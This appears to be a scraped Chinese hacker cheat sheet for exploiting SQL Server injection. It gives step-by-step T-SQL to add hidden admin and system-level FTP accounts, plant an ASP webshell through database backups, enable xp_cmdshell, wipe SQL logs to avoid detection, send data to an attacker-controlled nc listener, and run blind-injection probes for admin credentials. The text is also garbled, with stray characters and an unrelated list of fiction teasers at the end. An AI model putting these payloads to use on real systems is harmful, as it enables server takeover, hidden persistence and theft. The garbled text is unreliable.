while( @ret = 0 )

begin

print @line

exec @ret = sp_oamethod @f, ’readline’, @line out

end

這段代碼就可以把ServUDaemon.ini里的配置信息全部顯示出來 嘿嘿 既然能看了那偶門不是一樣可以寫進(jìn)去?

直接寫一個系統(tǒng)權(quán)限的FTP帳號 進(jìn)去

使用declare @o int, @f int, @t int, @ret int

exec sp_oacreate ’scripting.filesystemobject’, @o out

exec sp_oamethod @o, ’createtextfile’, @f out, ’d:\Serv-U6.3\ServUD aemon.ini’, 1

exec @ret = sp_oamethod @f, ’writeline’, NULL, 《這里添寫自己寫好的SU配置信息剛才復(fù)制的那些都要

寫上去》

然后執(zhí)行一下 成功執(zhí)行 我們再用存儲過程看看寫進(jìn)去沒有

OK 我XXXXXX 成功寫進(jìn)去了一個用戶名為XXXX密碼為空的系統(tǒng)權(quán)限的FTP 然后偶們在FTP里執(zhí)行

quote siteXXXXXXX 提權(quán)就好了格侯。 這里已經(jīng)很熟悉了 就不寫了鼻听。 ~ 然后用3389連一下 成功地到服務(wù)器權(quán)限

然后偶們再用set nocount on

declare @logicalfilename sysname,

@maxminutes int,

@newsize int 來清理掉SQL日志 免的被管理員發(fā)現(xiàn)

------

DECLARE @cmd INT EXEC sp_oacreate 'wscript.shell',@cmd output

EXEC sp_oame thod @cmd,'run',null,'cmd.exe /c net user renwoxin$Content$nbsp;test /add&a

------------------------------MSSQL db_owner注入利用xp_regwrite獲得系統(tǒng)權(quán)限---------------------------------------

xp_regwrite ’HKEY_LOCAL_MACHINE’,&rs quo;SOFTWARE\Microsoft\Windows\currentversion\run’,’xwq1’,’REG_SZ’,’net user h86$ hacker /add’

呵呵,返回一個正常頁面联四,說明成功完成拉撑碴,再在注射點(diǎn)輸入

xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\currentversion\run’,’xwq2’,’REG_SZ’,’net localgroup administrators h86$ /add’

---------------------------------------------------------------------------------------------

  簡單的如where xtype=’U’,字符U對應(yīng)的ASCII碼是85朝墩,所以可以用where xtype=char(85)代替醉拓;

如果字符是 中文的,比如where name=’用戶’,可以用where name=nchar(29992)+nchar(25143)代替亿卤。

-------------------------------------------備份一句話木馬----------------------------------------

日志備分WEBSHELL標(biāo)準(zhǔn)的七步:

1.InjectionURL’;alter databas e XXX set RECOVERY FULL-- (把SQL設(shè)置成日志完全恢復(fù)模式)

2.InjectionURL’;create table cmd (a image)-- (新建立一個cmd表)

3.InjectionURL’;backup log XXX to disk = ’c:cmd’ with init-- (減少備分?jǐn)?shù)據(jù)的大小)

4.InjectionURL’;in sert into cmd (a) values (’’)-- (插入一句話木馬)

5.InjectionURL’;backup log XXX to disk = ’d:chinakmtest.asp’-- (備分日志到WEB路徑)

6.InjectionURL’;drop table cmd-- (刪除新建的cmd表)

7.InjectionURL’;a lter database XXX set RECOVERY SIMPLE--(把SQL設(shè)置成日志簡單恢復(fù)模式)

注:InjectionURL是注入點(diǎn)愤兵,XXX是數(shù)據(jù)庫名稱.

數(shù)據(jù)庫差異備份代碼:

BACKUPLOGpeihuaWITHNO_LOGDBCCSHRINKDATABASE(peihua)--

dumptransactionpeihuawithno_log--

0.dump transaction 數(shù)據(jù)庫名 wi th no_log 清空日志

1、create table [dbo].[jm_tmp] ([cmd] [image])-- 創(chuàng)建一個表

2排吴、 declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0X6A006D00640063007700 backup database @a to disk = @s --備份數(shù)據(jù)庫秆乳,@s為備份名稱(jmdcw的16進(jìn)制轉(zhuǎn)換)

3、insert into [jm_tmp](cmd) values(0x3C2565786563757465287265717565737428226C222929253E)--將一句話木馬 ""的16進(jìn)制字符插入到表中

4傍念、 declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=’Crogram FilesCommon FilesMicrosoft SharedWeb Server Extensions40isapihsqq.asp’ backup database @a to disk = @s WITH DIFFERENTIAL,FORMAT --對數(shù)據(jù)庫實(shí)行差異備份矫夷,備份的保存路徑暫定為C盤目錄葛闷,文件名為hsqq.asp憋槐。

5、drop table [jm_tmp]-- 刪除此表淑趾。

---------------------------------------------------防--------------------------------------------

Function SafeRequest(ParaName,ParaType)

 ’ --- 傳入?yún)?shù) ---

 ’ParaName:參數(shù)名稱-字符型

 ’ParaType:參數(shù)類型-數(shù)字型(1表示以上參數(shù)是數(shù)字阳仔,0表示以上參數(shù)為字符)

 Dim Paravalue

 Paravalue=Request(ParaName)

 If ParaType=1 then

  If not isNumeric(Paravalue) then

   Response.write "參數(shù)" &amp ; ParaName & "必須為數(shù)字型!"

   Response.end

  End if

 Else

  Paravalue=replace(Paravalue,"’","’’")

 End if

 SafeRequest=Paravalue

End function

-- 繞過單引號繼續(xù)注入

URL;declare @cmd sy sname select @cmd=這里為你要執(zhí)行命令的16進(jìn)制 exec master.dbo.xp_cmdshell @cmd;--

--先聲明一個變量cmd扣泊,然后把我們的指令賦值給cmd

--sql server 2005下開啟xp_cmdshell的辦法

EXEC sp_configure ’show advanced options’, 1;RECONFIGURE;EXEC sp_configure &rs quo;xp_cmdshell’, 1;RECONFIGURE;

--SQL2005開啟’OPENROWSET’支持的方法:

exec sp_configure ’show advanced options’, 1;RECONFIGURE;exec sp_configure ’Ad Hoc Distributed Queries’,1;RECONFIGURE;

--SQL2005開啟’sp_oacreate’支持的方法:

exec sp_configure ’show advanced options’, 1;RECONFIGURE;exec sp_configure ’Ole Automation Procedures’,1;RECONFIGURE;

在db權(quán)限并且分離獲取mssql數(shù)據(jù)庫服務(wù)器ip的方法

1.本地nc監(jiān) 聽 nc -vvlp 80

2.;insert into OPENROWSET(’SQLOLEDB’,’uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的 ip,80;’, ’select * from dest_table’) select * from src_table;--

---------------------------------以下為檢測方法---------------------------------

--檢測可否注入

========================================================= ====================

URL and 1=1;--正常頁面

URL and 1=2;--出錯頁面

=============================================================================

--檢測數(shù)據(jù)庫的

=============================================================================< br />URL and (select count(*) from sysobjects)>0;--返回正常sql server

URL and (select count(*) from msysobjects)>0;--返回正常Access

=============================================================================

--檢測路徑的

============= ================================================================

URL and (select count(*) from master.dbo.sysdatabases where name>0 and dbid=6)>0;--

=============================================================================

- -檢測表段的

=============================================================================

URL and exists (select * from admin);--

=============================================================================

--檢測字段的

============= ================================================================

URL and exists (select username from admin) ;--

=============================================================================

--檢測ID

=============================== ==============================================

URL and exists (select id from admin where ID=1) ;--

=============================================================================

--檢測長度的

=========================================== ==================================

URL and exists (select id from admin where len(username)=5 and ID=1);--

=============================================================================

--檢測是否為MSSQL數(shù)據(jù)庫

============================ =================================================

URL and exists (select * from sysobjects) ;--

=============================================================================

--檢測是否為英文 ;--

========================================= ====================================

URL and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1);-- ACCESS數(shù)據(jù)庫

URL and exists (select id from admin where unicode(substring(username,1,1)) betwee n 30 and 130 and ID=1) ;--MSSQL數(shù)據(jù)庫

=============================================================================

--檢測英文的范圍

=============================================================================

URL and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1);--ACCESS數(shù)據(jù)庫

URL and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1);--MSSQL數(shù)據(jù)庫

================================ =============================================

--檢測那個字符

=============================================================================

URL and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1);--ACCESS數(shù)據(jù)庫

URL and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1);--MSSQL數(shù)據(jù)庫

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末近范,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子延蟹,更是在濱河造成了極大的恐慌评矩,老刑警劉巖,帶你破解...
    沈念sama閱讀 206,968評論 6 482
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件阱飘,死亡現(xiàn)場離奇詭異斥杜,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)沥匈,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,601評論 2 382
  • 文/潘曉璐 我一進(jìn)店門蔗喂,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人高帖,你說我怎么就攤上這事缰儿。” “怎么了散址?”我有些...
    開封第一講書人閱讀 153,220評論 0 344
  • 文/不壞的土叔 我叫張陵乖阵,是天一觀的道長。 經(jīng)常有香客問我预麸,道長义起,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 55,416評論 1 279
  • 正文 為了忘掉前任师崎,我火速辦了婚禮默终,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己齐蔽,他們只是感情好两疚,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,425評論 5 374
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著含滴,像睡著了一般诱渤。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上谈况,一...
    開封第一講書人閱讀 49,144評論 1 285
  • 那天勺美,我揣著相機(jī)與錄音,去河邊找鬼碑韵。 笑死赡茸,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的祝闻。 我是一名探鬼主播占卧,決...
    沈念sama閱讀 38,432評論 3 401
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼联喘!你這毒婦竟也來了华蜒?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 37,088評論 0 261
  • 序言:老撾萬榮一對情侶失蹤豁遭,失蹤者是張志新(化名)和其女友劉穎叭喜,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體蓖谢,經(jīng)...
    沈念sama閱讀 43,586評論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡捂蕴,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,028評論 2 325
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了蜈抓。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片启绰。...
    茶點(diǎn)故事閱讀 38,137評論 1 334
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖沟使,靈堂內(nèi)的尸體忽然破棺而出委可,到底是詐尸還是另有隱情,我是刑警寧澤腊嗡,帶...
    沈念sama閱讀 33,783評論 4 324
  • 正文 年R本政府宣布着倾,位于F島的核電站,受9級特大地震影響燕少,放射性物質(zhì)發(fā)生泄漏卡者。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,343評論 3 307
  • 文/蒙蒙 一客们、第九天 我趴在偏房一處隱蔽的房頂上張望崇决。 院中可真熱鬧材诽,春花似錦、人聲如沸恒傻。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,333評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽盈厘。三九已至睁枕,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間沸手,已是汗流浹背外遇。 一陣腳步聲響...
    開封第一講書人閱讀 31,559評論 1 262
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留契吉,地道東北人跳仿。 一個月前我還...
    沈念sama閱讀 45,595評論 2 355
  • 正文 我出身青樓,卻偏偏與公主長得像栅隐,于是被迫代替她去往敵國和親塔嬉。 傳聞我的和親對象是個殘疾皇子玩徊,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,901評論 2 345